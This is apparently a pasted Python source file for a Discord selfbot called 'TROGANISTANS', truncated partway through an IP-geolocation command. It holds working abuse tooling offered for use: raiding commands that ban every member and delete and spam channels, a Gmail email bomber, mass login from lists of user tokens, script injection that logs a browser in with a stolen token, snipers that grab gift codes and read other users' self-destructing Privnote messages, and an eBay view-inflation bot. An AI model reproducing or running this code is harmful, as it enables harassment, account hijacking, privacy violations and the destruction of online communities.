· 5 years ago · Sep 04, 2020, 04:18 PM
1class SELFBOT():
2 __linecount__ = 1933
3 __version__ = 3.4
4
5 # Dont just skid it, gimme some credits, thank you - 39#1337
6
7import discord, subprocess, sys, time, os, colorama, base64, codecs, datetime, io, random, numpy, datetime, smtplib, string, ctypes
8import urllib.parse, urllib.request, re, json, requests, webbrowser, aiohttp, dns.name, asyncio, functools, logging
9
10from discord.ext import (
11 commands,
12 tasks
13)
14from bs4 import BeautifulSoup as bs4
15from urllib.parse import urlencode
16from pymongo import MongoClient
17from selenium import webdriver
18from threading import Thread
19from subprocess import call
20from itertools import cycle
21from colorama import Fore
22from sys import platform
23from PIL import Image
24import pyPrivnote as pn
25from gtts import gTTS
26
27ctypes.windll.kernel32.SetConsoleTitleW(f'[TROGANISTANS v{SELFBOT.__version__}] | Loading...')
28
29with open('config.json') as f:
30 config = json.load(f)
31
32token = config.get('token')
33password = config.get('password')
34prefix = config.get('prefix')
35
36giveaway_sniper = config.get('giveaway_sniper')
37slotbot_sniper = config.get('slotbot_sniper')
38nitro_sniper = config.get('nitro_sniper')
39privnote_sniper = config.get('privnote_sniper')
40
41stream_url = config.get('stream_url')
42tts_language = config.get('tts_language')
43
44bitly_key = config.get('bitly_key')
45cat_key = config.get('cat_key')
46weather_key = config.get('weather_key')
47cuttly_key = config.get('cuttly_key')
48
49width = os.get_terminal_size().columns
50hwid = subprocess.check_output('wmic csproduct get uuid').decode().split('\n')[1].strip()
51start_time = datetime.datetime.utcnow()
52loop = asyncio.get_event_loop()
53
54languages = {
55 'hu' : 'Hungarian, Hungary',
56 'nl' : 'Dutch, Netherlands',
57 'no' : 'Norwegian, Norway',
58 'pl' : 'Polish, Poland',
59 'pt-BR' : 'Portuguese, Brazilian, Brazil',
60 'ro' : 'Romanian, Romania',
61 'fi' : 'Finnish, Finland',
62 'sv-SE' : 'Swedish, Sweden',
63 'vi' : 'Vietnamese, Vietnam',
64 'tr' : 'Turkish, Turkey',
65 'cs' : 'Czech, Czechia, Czech Republic',
66 'el' : 'Greek, Greece',
67 'bg' : 'Bulgarian, Bulgaria',
68 'ru' : 'Russian, Russia',
69 'uk' : 'Ukranian, Ukraine',
70 'th' : 'Thai, Thailand',
71 'zh-CN' : 'Chinese, China',
72 'ja' : 'Japanese',
73 'zh-TW' : 'Chinese, Taiwan',
74 'ko' : 'Korean, Korea'
75}
76
77locales = [
78 "da", "de",
79 "en-GB", "en-US",
80 "es-ES", "fr",
81 "hr", "it",
82 "lt", "hu",
83 "nl", "no",
84 "pl", "pt-BR",
85 "ro", "fi",
86 "sv-SE", "vi",
87 "tr", "cs",
88 "el", "bg",
89 "ru", "uk",
90 "th", "zh-CN",
91 "ja", "zh-TW",
92 "ko"
93]
94
95m_numbers = [
96 ":one:",
97 ":two:",
98 ":three:",
99 ":four:",
100 ":five:",
101 ":six:"
102]
103
104m_offets = [
105 (-1, -1),
106 (0, -1),
107 (1, -1),
108 (-1, 0),
109 (1, 0),
110 (-1, 1),
111 (0, 1),
112 (1, 1)
113]
114
115def startprint():
116 if giveaway_sniper == True:
117 giveaway = "Active"
118 else:
119 giveaway = "Disabled"
120
121 if nitro_sniper == True:
122 nitro = "Active"
123 else:
124 nitro = "Disabled"
125
126 if slotbot_sniper == True:
127 slotbot = "Active"
128 else:
129 slotbot = "Disabled"
130
131 if privnote_sniper == True:
132 privnote = "Active"
133 else:
134 privnote = "Disabled"
135
136 print(f'''{Fore.RESET}
137 ██████████████╗ ██████╗██╗ ██╗█████╗███╗ █████████╗
138 ╚══██╔══██╔══████╔═══████║ ████╔══██████╗ ████╔════╝
139 ██║ ██████╔██║ ████║ ███████████╔██╗ █████████╗
140 ██║ ██╔══████║ ████║ ████╔══████║╚██╗██╚════██║
141 ██║ ██║ ██╚██████╔███████████║ ████║ ╚███████████║
142 ╚═╝ ╚═╝ ╚═╝╚═════╝╚══════╚═╚═╝ ╚═╚═╝ ╚═══╚══════╝
143
144 {Fore.CYAN}TRO'GANISTANS {SELFBOT.__version__} | {Fore.GREEN}Logged in as: {Alucard.user.name}#{Alucard.user.discriminator} {Fore.CYAN}| ID: {Fore.GREEN}{Alucard.user.id}
145 {Fore.CYAN}Privnote Sniper | {Fore.GREEN}{privnote}
146 {Fore.CYAN}Nitro Sniper | {Fore.GREEN}{nitro}
147 {Fore.CYAN}Giveaway Sniper | {Fore.GREEN}{giveaway}
148 {Fore.CYAN}SlotBot Sniper | {Fore.GREEN}{slotbot}
149 {Fore.CYAN}Prefix: {Fore.GREEN}{prefix}
150 {Fore.CYAN}Creator(Private For TRO'GANISTANS): {Fore.GREEN}6tro
151 '''+Fore.RESET)
152
153def Clear():
154 os.system('cls')
155Clear()
156
157def Init():
158 if config.get('token') == "token-here":
159 Clear()
160 print(f"{Fore.RED}[ERROR] {Fore.YELLOW}You didnt put your token in the config.json file"+Fore.RESET)
161 else:
162 token = config.get('token')
163 try:
164 Alucard.run(token, bot=False, reconnect=True)
165 os.system(f'title (TROGANISTANS) - Version {SELFBOT.__version__}')
166 except discord.errors.LoginFailure:
167 print(f"{Fore.RED}[ERROR] {Fore.YELLOW}Improper token has been passed"+Fore.RESET)
168 os.system('pause >NUL')
169
170def GmailBomber():
171 _smpt = smtplib.SMTP('smtp.gmail.com', 587)
172 _smpt.starttls()
173 username = input('Gmail: ')
174 password = input('Gmail Password: ')
175 try:
176 _smpt.login(username, password)
177 except:
178 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW} Incorrect Password or gmail, make sure you've enabled less-secure apps access"+Fore.RESET)
179 target = input('Target Gmail: ')
180 message = input('Message to send: ')
181 counter = eval(input('Ammount of times: '))
182 count = 0
183 while count < counter:
184 count = 0
185 _smpt.sendmail(username, target, message)
186 count += 1
187 if count == counter:
188 pass
189
190def GenAddress(addy: str):
191 letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
192 four_char = ''.join(random.choice(letters) for _ in range(4))
193 should_abbreviate = random.randint(0,1)
194 if should_abbreviate == 0:
195 if "street" in addy.lower():
196 addy = addy.replace("Street", "St.")
197 addy = addy.replace("street", "St.")
198 elif "st." in addy.lower():
199 addy = addy.replace("st.", "Street")
200 addy = addy.replace("St.", "Street")
201 if "court" in addy.lower():
202 addy = addy.replace("court", "Ct.")
203 addy = addy.replace("Court", "Ct.")
204 elif "ct." in addy.lower():
205 addy = addy.replace("ct.", "Court")
206 addy = addy.replace("Ct.", "Court")
207 if "rd." in addy.lower():
208 addy = addy.replace("rd.", "Road")
209 addy = addy.replace("Rd.", "Road")
210 elif "road" in addy.lower():
211 addy = addy.replace("road", "Rd.")
212 addy = addy.replace("Road", "Rd.")
213 if "dr." in addy.lower():
214 addy = addy.replace("dr.", "Drive")
215 addy = addy.replace("Dr.", "Drive")
216 elif "drive" in addy.lower():
217 addy = addy.replace("drive", "Dr.")
218 addy = addy.replace("Drive", "Dr.")
219 if "ln." in addy.lower():
220 addy = addy.replace("ln.", "Lane")
221 addy = addy.replace("Ln.", "Lane")
222 elif "lane" in addy.lower():
223 addy = addy.replace("lane", "Ln.")
224 addy = addy.replace("lane", "Ln.")
225 random_number = random.randint(1,99)
226 extra_list = ["Apartment", "Unit", "Room"]
227 random_extra = random.choice(extra_list)
228 return four_char + " " + addy + " " + random_extra + " " + str(random_number)
229
230def BotTokens():
231 with open('Data/Tokens/bot-tokens.txt', 'a+') as f:
232 tokens = {token.strip() for token in f if token}
233 for token in tokens:
234 yield token
235
236def UserTokens():
237 with open('Data/Tokens/user-tokens.txt', 'a+') as f:
238 tokens = {token.strip() for token in f if token}
239 for token in tokens:
240 yield token
241
242class Login(discord.Client):
243 async def on_connect(self):
244 guilds = len(self.guilds)
245 users = len(self.users)
246 print("")
247 print(f"Connected to: [{self.user.name}]")
248 print(f"Token: {self.http.token}")
249 print(f"Guilds: {guilds}")
250 print(f"Users: {users}")
251 print("-------------------------------")
252 await self.logout()
253
254def _masslogin(choice):
255 if choice == 'user':
256 for token in UserTokens():
257 loop.run_until_complete(Login().start(token, bot=False))
258 elif choice == 'bot':
259 for token in BotTokens():
260 loop.run_until_complete(Login().start(token, bot=True))
261 else:
262 return
263
264def async_executor():
265 def outer(func):
266 @functools.wraps(func)
267 def inner(*args, **kwargs):
268 thing = functools.partial(func, *args, **kwargs)
269 return loop.run_in_executor(None, thing)
270 return inner
271 return outer
272
273@async_executor()
274def do_tts(message):
275 f = io.BytesIO()
276 tts = gTTS(text=message.lower(), lang=tts_language)
277 tts.write_to_fp(f)
278 f.seek(0)
279 return f
280
281def Dump(ctx):
282 for member in ctx.guild.members:
283 f = open(f'Images/{ctx.guild.id}-Dump.txt', 'a+')
284 f.write(str(member.avatar_url)+'\n')
285
286def Nitro():
287 code = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
288 return f'https://discord.gift/{code}'
289
290def RandomColor():
291 randcolor = discord.Color(random.randint(0x000000, 0xFFFFFF))
292 return randcolor
293
294def RandString():
295 return "".join(random.choice(string.ascii_letters + string.digits) for i in range(random.randint(14, 32)))
296
297colorama.init()
298Alucard = discord.Client()
299Alucard = commands.Bot(
300 description='Alucard Selfbot',
301 command_prefix=prefix,
302 self_bot=True
303)
304Alucard.remove_command('help')
305
306@tasks.loop(seconds=3)
307async def btc_status():
308 r = requests.get('https://api.coindesk.com/v1/bpi/currentprice/btc.json').json()
309 value = r['bpi']['USD']['rate']
310 await asyncio.sleep(3)
311 btc_stream = discord.Streaming(
312 name="Current BTC price: "+value+"$ USD",
313 url="https://www.twitch.tv/monstercat",
314 )
315 await Alucard.change_presence(activity=btc_stream)
316
317@Alucard.event
318async def on_command_error(ctx, error):
319 error_str = str(error)
320 error = getattr(error, 'original', error)
321 if isinstance(error, commands.CommandNotFound):
322 return
323 elif isinstance(error, commands.CheckFailure):
324 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}You're missing permission to execute this command"+Fore.RESET)
325 elif isinstance(error, commands.MissingRequiredArgument):
326 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Missing arguments: {error}"+Fore.RESET)
327 elif isinstance(error, numpy.AxisError):
328 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Not a valid image"+Fore.RESET)
329 elif isinstance(error, discord.errors.Forbidden):
330 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Discord error: {error}"+Fore.RESET)
331 elif "Cannot send an empty message" in error_str:
332 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Couldnt send a empty message"+Fore.RESET)
333 else:
334 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{error_str}"+Fore.RESET)
335
336@Alucard.event
337async def on_message_edit(before, after):
338 await Alucard.process_commands(after)
339
340@Alucard.event
341async def on_message(message):
342
343 def GiveawayData():
344 print(
345 f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
346 f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
347 +Fore.RESET)
348
349 def SlotBotData():
350 print(
351 f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
352 f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
353 +Fore.RESET)
354
355 def NitroData(elapsed, code):
356 print(
357 f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
358 f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
359 f"\n{Fore.WHITE} - AUTHOR: {Fore.YELLOW}[{message.author}]"
360 f"\n{Fore.WHITE} - ELAPSED: {Fore.YELLOW}[{elapsed}]"
361 f"\n{Fore.WHITE} - CODE: {Fore.YELLOW}{code}"
362 +Fore.RESET)
363
364 def PrivnoteData(code):
365 print(
366 f"{Fore.WHITE} - CHANNEL: {Fore.YELLOW}[{message.channel}]"
367 f"\n{Fore.WHITE} - SERVER: {Fore.YELLOW}[{message.guild}]"
368 f"\n{Fore.WHITE} - CONTENT: {Fore.YELLOW}[The content can be found at Privnote/{code}.txt]"
369 +Fore.RESET)
370
371 time = datetime.datetime.now().strftime("%H:%M %p")
372 if 'discord.gift/' in message.content:
373 if nitro_sniper == True:
374 start = datetime.datetime.now()
375 code = re.search("discord.gift/(.*)", message.content).group(1)
376 token = config.get('token')
377
378 headers = {'Authorization': token}
379
380 r = requests.post(
381 f'https://discordapp.com/api/v6/entitlements/gift-codes/{code}/redeem',
382 headers=headers,
383 ).text
384
385 elapsed = datetime.datetime.now() - start
386 elapsed = f'{elapsed.seconds}.{elapsed.microseconds}'
387
388 if 'This gift has been redeemed already.' in r:
389 print(""
390 f"\n{Fore.CYAN}[{time} - Nitro Already Redeemed]"+Fore.RESET)
391 NitroData(elapsed, code)
392
393 elif 'subscription_plan' in r:
394 print(""
395 f"\n{Fore.CYAN}[{time} - Nitro Success]"+Fore.RESET)
396 NitroData(elapsed, code)
397
398 elif 'Unknown Gift Code' in r:
399 print(""
400 f"\n{Fore.CYAN}[{time} - Nitro Unknown Gift Code]"+Fore.RESET)
401 NitroData(elapsed, code)
402 else:
403 return
404
405 if 'Someone just dropped' in message.content:
406 if slotbot_sniper == True:
407 if message.author.id == 346353957029019648:
408 try:
409 await message.channel.send('~grab')
410 except discord.errors.Forbidden:
411 print(""
412 f"\n{Fore.CYAN}[{time} - SlotBot Couldnt Grab]"+Fore.RESET)
413 SlotBotData()
414 print(""
415 f"\n{Fore.CYAN}[{time} - Slotbot Grabbed]"+Fore.RESET)
416 SlotBotData()
417 else:
418 return
419
420 if 'GIVEAWAY' in message.content:
421 if giveaway_sniper == True:
422 if message.author.id == 294882584201003009:
423 try:
424 await message.add_reaction("?")
425 except discord.errors.Forbidden:
426 print(""
427 f"\n{Fore.CYAN}[{time} - Giveaway Couldnt React]"+Fore.RESET)
428 GiveawayData()
429 print(""
430 f"\n{Fore.CYAN}[{time} - Giveaway Sniped]"+Fore.RESET)
431 GiveawayData()
432 else:
433 return
434
435 if f'Congratulations <@{Alucard.user.id}>' in message.content:
436 if giveaway_sniper == True:
437 if message.author.id == 294882584201003009:
438 print(""
439 f"\n{Fore.CYAN}[{time} - Giveaway Won]"+Fore.RESET)
440 GiveawayData()
441 else:
442 return
443
444 if 'privnote.com' in message.content:
445 if privnote_sniper == True:
446 code = re.search('privnote.com/(.*)', message.content).group(1)
447 link = 'https://privnote.com/'+code
448 try:
449 note_text = pn.read_note(link)
450 except Exception as e:
451 print(e)
452 with open(f'Privnote/{code}.txt', 'a+') as f:
453 print(""
454 f"\n{Fore.CYAN}[{time} - Privnote Sniped]"+Fore.RESET)
455 PrivnoteData(code)
456 f.write(note_text)
457 else:
458 return
459 await Alucard.process_commands(message)
460
461@Alucard.event
462async def on_connect():
463 Clear()
464
465 if giveaway_sniper == True:
466 giveaway = "Active"
467 else:
468 giveaway = "Disabled"
469
470 if nitro_sniper == True:
471 nitro = "Active"
472 else:
473 nitro = "Disabled"
474
475 if slotbot_sniper == True:
476 slotbot = "Active"
477 else:
478 slotbot = "Disabled"
479
480 if privnote_sniper == True:
481 privnote = "Active"
482 else:
483 privnote = "Disabled"
484
485 startprint()
486 ctypes.windll.kernel32.SetConsoleTitleW(f'[TRO GANISTANS v{SELFBOT.__version__}] | Logged in as {Alucard.user.name}')
487
488@Alucard.command()
489async def clear(ctx): # b'\xfc'
490 await ctx.message.delete()
491 await ctx.send('ᅠᅠ'+'\n' * 400 + 'ᅠᅠ')
492
493@Alucard.command()
494async def genname(ctx): # b'\xfc'
495 await ctx.message.delete()
496 first, second = random.choices(ctx.guild.members, k=2)
497 first = first.display_name[len(first.display_name) // 2:]
498 second = second.display_name[:len(second.display_name) // 2]
499 await ctx.send(discord.utils.escape_mentions(second + first))
500
501@Alucard.command()
502async def lmgtfy(ctx, *, message): # b'\xfc'
503 await ctx.message.delete()
504 q = urlencode({"q": message})
505 await ctx.send(f'<https://lmgtfy.com/?{q}>')
506
507@Alucard.command()
508async def login(ctx, _token): # b'\xfc'
509 await ctx.message.delete()
510 opts = webdriver.ChromeOptions()
511 opts.add_experimental_option("detach", True)
512 driver = webdriver.Chrome('chromedriver.exe', options=opts)
513 script = """
514 function login(token) {
515 setInterval(() => {
516 document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`
517 }, 50);
518 setTimeout(() => {
519 location.reload();
520 }, 2500);
521 }
522 """
523 driver.get("https://discordapp.com/login")
524 driver.execute_script(script+f'\nlogin("{_token}")')
525
526@Alucard.command()
527async def botlogin(ctx, _token): # b'\xfc'
528 await ctx.message.delete()
529 opts = webdriver.ChromeOptions()
530 opts.add_experimental_option("detach", True)
531 driver = webdriver.Chrome('chromedriver.exe', options=opts)
532 script = """
533 function login(token) {
534 ((i) => {
535 window.webpackJsonp.push([
536 [i], {
537 [i]: (n, b, d) => {
538 let dispatcher;
539 for (let key in d.c) {
540 if (d.c[key].exports) {
541 const module = d.c[key].exports.default || d.c[key].exports;
542 if (typeof(module) === 'object') {
543 if ('setToken' in module) {
544 module.setToken(token);
545 module.hideToken = () => {};
546 }
547 if ('dispatch' in module && '_subscriptions' in module) {
548 dispatcher = module;
549 }
550 if ('AnalyticsActionHandlers' in module) {
551 console.log('AnalyticsActionHandlers', module);
552 module.AnalyticsActionHandlers.handleTrack = (track) => {};
553 }
554 } else if (typeof(module) === 'function' && 'prototype' in module) {
555 const descriptors = Object.getOwnPropertyDescriptors(module.prototype);
556 if ('_discoveryFailed' in descriptors) {
557 const connect = module.prototype._connect;
558 module.prototype._connect = function(url) {
559 console.log('connect', url);
560 const oldHandleIdentify = this.handleIdentify;
561 this.handleIdentify = () => {
562 const identifyData = oldHandleIdentify();
563 identifyData.token = identifyData.token.split(' ').pop();
564 return identifyData;
565 };
566 const oldHandleDispatch = this._handleDispatch;
567 this._handleDispatch = function(data, type) {
568 if (type === 'READY') {
569 console.log(data);
570 data.user.bot = false;
571 data.user.email = 'Alucard-Was-Here@Fuckyou.com';
572 data.analytics_tokens = [];
573 data.connected_accounts = [];
574 data.consents = [];
575 data.experiments = [];
576 data.guild_experiments = [];
577 data.relationships = [];
578 data.user_guild_settings = [];
579 }
580 return oldHandleDispatch.call(this, data, type);
581 }
582 return connect.call(this, url);
583 };
584 }
585 }
586 }
587 }
588 console.log(dispatcher);
589 if (dispatcher) {
590 dispatcher.dispatch({
591 type: 'LOGIN_SUCCESS',
592 token
593 });
594 }
595 },
596 },
597 [
598 [i],
599 ],
600 ]);
601 })(Math.random());
602 }
603 """
604 driver.get("https://discordapp.com/login")
605 driver.execute_script(script+f'\nlogin("Bot {_token}")')
606
607@Alucard.command(pass_context=True)
608async def help(ctx):
609 await ctx.message.delete()
610 embed = discord.Embed(color=ctx.author.color, timestamp=ctx.message.created_at)
611
612 embed.set_author(name="???★????????????", icon_url="https://cdn.discordapp.com/attachments/702281004311904267/726113814751215666/image0_1.gif")
613 embed.set_image(url="https://media.discordapp.net/attachments/735626166869819442/735774222751891507/image0.gif")
614
615 embed.add_field(name="?__**> LIT LIC BIC**__?", value="cool ass bot", inline=True)
616 embed.add_field(name="❌**•NO HOOK**❌", value="*help, av, revav, whois, ping, guildicon, secret(msg), bold(msg), empty, ban(user), kick(user), hexcode(role)*")
617 embed.add_field(name="?**•FREAKY SHYT**?", value="*lesbian, lewdneko, blowjob, tits, boobs, hentai, feet, erofeet, anal*", inline=True)
618 embed.add_field(name="⚡**•LIV WITIT**⚡", value="*stream, watching, game, listening, logout, spam(amt+msg), purge(amt), lenny, reverse(msg), fancy(msg), autoname, groupleaver*", inline=True)
619 embed.add_field(name="?**•WALK EM DOWN**?", value="*fox, dog, dick(user), 8ball, joke, tweet, slot, topic, wyr, feed(user), tickle(user), slap(user), hug(user), smug(user), pat(user), kiss(user)*", inline=True)
620 embed.add_field(name="?️**•SMOKE**?️", value="*rainbow(role), tinyurl(url), clear, upper(msg), genname, speak(msg), abc, devowel, combine(msg + msg) fm(firstmsg)*", inline=True)
621 embed.add_field(name="?**•STEP ON SHIT**?", value="*wizz, dmall(msg), massban, masskick, massunban, masschannel, massrole, delroles, delchannels, rc(name), servername(name), nickall(name)*",
622 inline=False)
623 await ctx.send(embed=embed)
624 embed = discord.Embed(color=ctx.author.color, timestamp=ctx.message.created_at)
625
626@Alucard.command(pass_context=True)
627async def wizz(ctx):
628 await ctx.message.delete()
629 await ctx.send("**Now Wizzing**")
630 show_avatar = discord.Embed(
631
632 color = ctx.author.color
633 )
634 show_avatar.set_image(url='https://media.discordapp.net/attachments/726142437634080808/726146336331923556/video1-1-online-video-cuttercom.gif?width=297&height=432')
635
636 await ctx.send(embed=show_avatar)
637 for user in list(ctx.guild.members):
638 try:
639 await ctx.guild.ban(user)
640 print (f"{user.name} has been banned from {ctx.guild.name}")
641 except:
642 print (f"{user.name} has NOT been banned from {ctx.guild.name}")
643 for channel in ctx.guild.channels:
644 await channel.delete()
645 print(f'Spam channel deleting proccession has been complete.')
646 for i in range(1, 25):
647 await ctx.guild.create_text_channel(name=f'DONT FUCK WITH TRO {i}')
648 await ctx.guild.create_voice_channel(name=f'unhoeable was here {i}')
649 await ctx.guild.create_category(name=f'tro was here {i}')
650 print(f'{Fore.GREEN}Spam role and channel creating proccession has been complete.')
651 print('completed cuh')
652
653@Alucard.command(pass_context=True)
654async def banall(ctx):
655 await ctx.message.delete()
656 await ctx.send("***2tro was here***")
657 show_avatar = discord.Embed(
658
659 color=ctx.author.color
660 )
661 show_avatar.set_image(url='https://cdn.discordapp.com/attachments/726204151251337299/726596245950300180/ImpureActiveEasternnewt-size_restricted.gif')
662 await ctx.send(embed=show_avatar)
663 print ("Starting Up Nuker")
664 print ("Banning All....")
665 for user in list(ctx.guild.members):
666 try:
667 await ctx.guild.ban(user)
668 print (f"{user.name} has been banned from {ctx.guild.name}")
669 except:
670 print (f"{user.name} has NOT been banned from {ctx.guild.name}")
671
672@Alucard.command(pass_context=True)
673async def kickall(ctx):
674 await ctx.message.delete()
675 await ctx.send("***2tro was here***")
676 show_avatar = discord.Embed(
677
678 color=ctx.author.color
679 )
680 show_avatar.set_image(url='https://cdn.discordapp.com/attachments/702281004311904267/726120903724761170/image0.gif')
681 await ctx.send(embed=show_avatar)
682 print ("Starting Up Nuker")
683 print ("Kicking All....")
684 for user in list(ctx.guild.members):
685 try:
686 await ctx.guild.kick(user)
687 print (f"{user.name} has been kicked from {ctx.guild.name}")
688 except:
689 print (f"{user.name} has NOT been kicked from {ctx.guild.name}")
690
691@Alucard.command()
692async def address(ctx, *, text): # b'\xfc'
693 await ctx.message.delete()
694 addy = ' '.join(text)
695 address_array = []
696 i = 0
697 while i < 10:
698 address_array.append(GenAddress(addy))
699 i+=1
700 final_str = "\n".join(address_array)
701 em = discord.Embed(description=final_str)
702 try:
703 await ctx.send(embed=em)
704 except:
705 await ctx.send(final_str)
706
707@Alucard.command()
708async def weather(ctx, *, city): # b'\xfc'
709 await ctx.message.delete()
710 if weather_key == '':
711 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Weather API key has not been set in the config.json file"+Fore.RESET)
712 else:
713 try:
714 req = requests.get(f'http://api.openweathermap.org/data/2.5/weather?q={city}&appid={weather_key}')
715 r = req.json()
716 temperature = round(float(r["main"]["temp"]) - 273.15, 1)
717 lowest = round(float(r["main"]["temp_min"]) - 273.15, 1)
718 highest = round(float(r["main"]["temp_max"]) - 273.15, 1)
719 weather = r["weather"][0]["main"]
720 humidity = round(float(r["main"]["humidity"]), 1)
721 wind_speed = round(float(r["wind"]["speed"]), 1)
722 em = discord.Embed(description=f'''
723 Temperature: `{temperature}`
724 Lowest: `{lowest}`
725 Highest: `{highest}`
726 Weather: `{weather}`
727 Humidity: `{humidity}`
728 Wind Speed: `{wind_speed}`
729 ''')
730 em.add_field(name='City', value=city.capitalize())
731 em.set_thumbnail(url='https://ak0.picdn.net/shutterstock/videos/1019313310/thumb/1.jpg')
732 try:
733 await ctx.send(embed=em)
734 except:
735 await ctx.send(f'''
736 Temperature: {temperature}
737 Lowest: {lowest}
738 Highest: {highest}
739 Weather: {weather}
740 Humidity: {humidity}
741 Wind Speed: {wind_speed}
742 City: {city.capitalize()}
743 ''')
744 except KeyError:
745 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{city} Is not a real city"+Fore.RESET)
746 else:
747 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{req.text}"+Fore.RESET)
748
749@Alucard.command(aliases=['shorteen'])
750async def bitly(ctx, *, link): # b'\xfc'
751 await ctx.message.delete()
752 if bitly_key == '':
753 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Bitly API key has not been set in the config.json file"+Fore.RESET)
754 else:
755 try:
756 async with aiohttp.ClientSession() as session:
757 async with session.get(f'https://api-ssl.bitly.com/v3/shorten?longUrl={link}&domain=bit.ly&format=json&access_token={bitly_key}') as req:
758 r = await req.read()
759 r = json.loads(r)
760 new = r['data']['url']
761 em = discord.Embed()
762 em.add_field(name='Shortened link', value=new, inline=False)
763 await ctx.send(embed=em)
764 except Exception as e:
765 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
766 else:
767 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{req.text}"+Fore.RESET)
768
769@Alucard.command()
770async def cuttly(ctx, *, link): # b'\xfc'
771 await ctx.message.delete()
772 if cuttly_key == '':
773 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Cutt.ly API key has not been set in the config.json file"+Fore.RESET)
774 else:
775 try:
776 req = requests.get(f'https://cutt.ly/api/api.php?key={cuttly_key}&short={link}')
777 r = req.json()
778 new = r['url']['shortLink']
779 em = discord.Embed()
780 em.add_field(name='Shortened link', value=new, inline=False)
781 try:
782 await ctx.send(embed=em)
783 except:
784 await ctx.send(new)
785 except Exception as e:
786 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
787 else:
788 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{req.text}"+Fore.RESET)
789
790@Alucard.command()
791async def cat(ctx): # b'\xfc'
792 await ctx.message.delete()
793 if cat_key == '':
794 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Cat API key has not been set in the config.json file"+Fore.RESET)
795 else:
796 try:
797 req = requests.get(f"https://api.thecatapi.com/v1/images/search?format=json&x-api-key={cat_key}")
798 r = req.json()
799 em = discord.Embed()
800 em.set_image(url=str(r[0]["url"]))
801 try:
802 await ctx.send(embed=em)
803 except:
804 await ctx.send(str(r[0]["url"]))
805 except Exception as e:
806 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
807 else:
808 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{req.text}"+Fore.RESET)
809
810@Alucard.command()
811async def dog(ctx): # b'\xfc'
812 await ctx.message.delete()
813 r = requests.get("https://dog.ceo/api/breeds/image/random").json()
814 em = discord.Embed()
815 em.set_image(url=str(r['message']))
816 try:
817 await ctx.send(embed=em)
818 except:
819 await ctx.send(str(r['message']))
820
821@Alucard.command()
822async def fox(ctx): # b'\xfc'
823 await ctx.message.delete()
824 r = requests.get('https://randomfox.ca/floof/').json()
825 em = discord.Embed(title="Random fox image", color=16202876)
826 em.set_image(url=r["image"])
827 try:
828 await ctx.send(embed=em)
829 except:
830 await ctx.send(r['image'])
831
832@Alucard.command()
833async def encode(ctx, string): # b'\xfc'
834 await ctx.message.delete()
835 decoded_stuff = base64.b64encode('{}'.format(string).encode('ascii'))
836 encoded_stuff = str(decoded_stuff)
837 encoded_stuff = encoded_stuff[2:len(encoded_stuff)-1]
838 await ctx.send(encoded_stuff)
839
840@Alucard.command()
841async def decode(ctx, string): # b'\xfc'+
842 await ctx.message.delete()
843 strOne = (string).encode("ascii")
844 pad = len(strOne)%4
845 strOne += b"="*pad
846 encoded_stuff = codecs.decode(strOne.strip(),'base64')
847 decoded_stuff = str(encoded_stuff)
848 decoded_stuff = decoded_stuff[2:len(decoded_stuff)-1]
849 await ctx.send(decoded_stuff)
850
851@Alucard.command(name='ebay-view', aliases=['ebay-view-bot', 'ebayviewbot', 'ebayview'])
852async def _ebay_view(ctx, url, views: int): # b'\xfc'
853 await ctx.message.delete()
854 start_time = datetime.datetime.now()
855 def EbayViewer(url, views):
856 headers = {
857 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36",
858 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
859 }
860 for _i in range(views):
861 requests.get(url, headers=headers)
862 EbayViewer(url, views)
863 elapsed_time = datetime.datetime.now() - start_time
864 em = discord.Embed(title='Ebay View Bot')
865 em.add_field(name='Views sent', value=views, inline=False)
866 em.add_field(name='Elapsed time', value=elapsed_time, inline=False)
867 await ctx.send(embed=em)
868
869@Alucard.command(aliases=['geolocate', 'iptogeo', 'iptolocation', 'ip2geo', 'ip'])
870async def geoip(ctx, *, ipaddr: str = '1.3.3.7'): # b'\xfc'
871 await ctx.message.delete()
872 r = requests.get(f'http://extreme-ip-lookup.com/json/{ipaddr}')
873 geo = r.json()
874 em = discord.Embed()
875 fields = [
876 {'name': 'IP', 'value': geo['query']},
877 {'name': 'ipType', 'value': geo['ipType']},
878 {'name': 'Country', 'value': geo['country']},
879 {'name': 'City', 'value': geo['city']},
880 {'name': 'Continent', 'value': geo['continent']},
881 {'name': 'Country', 'value': geo['country']},
882 {'name': 'IPName', 'value': geo['ipName']},
883 {'name': 'ISP', 'value': geo['isp']},
884 {'name': 'Latitute', 'value': geo['lat']},
885 {'name': 'Longitude', 'value': geo['lon']},
886 {'name': 'Org', 'value': geo['org']},
887 {'name': 'Region', 'value': geo['region']},
888 {'name': 'Status', 'value': geo['status']},
889 ]
890 for field in fields:
891 if field['value']:
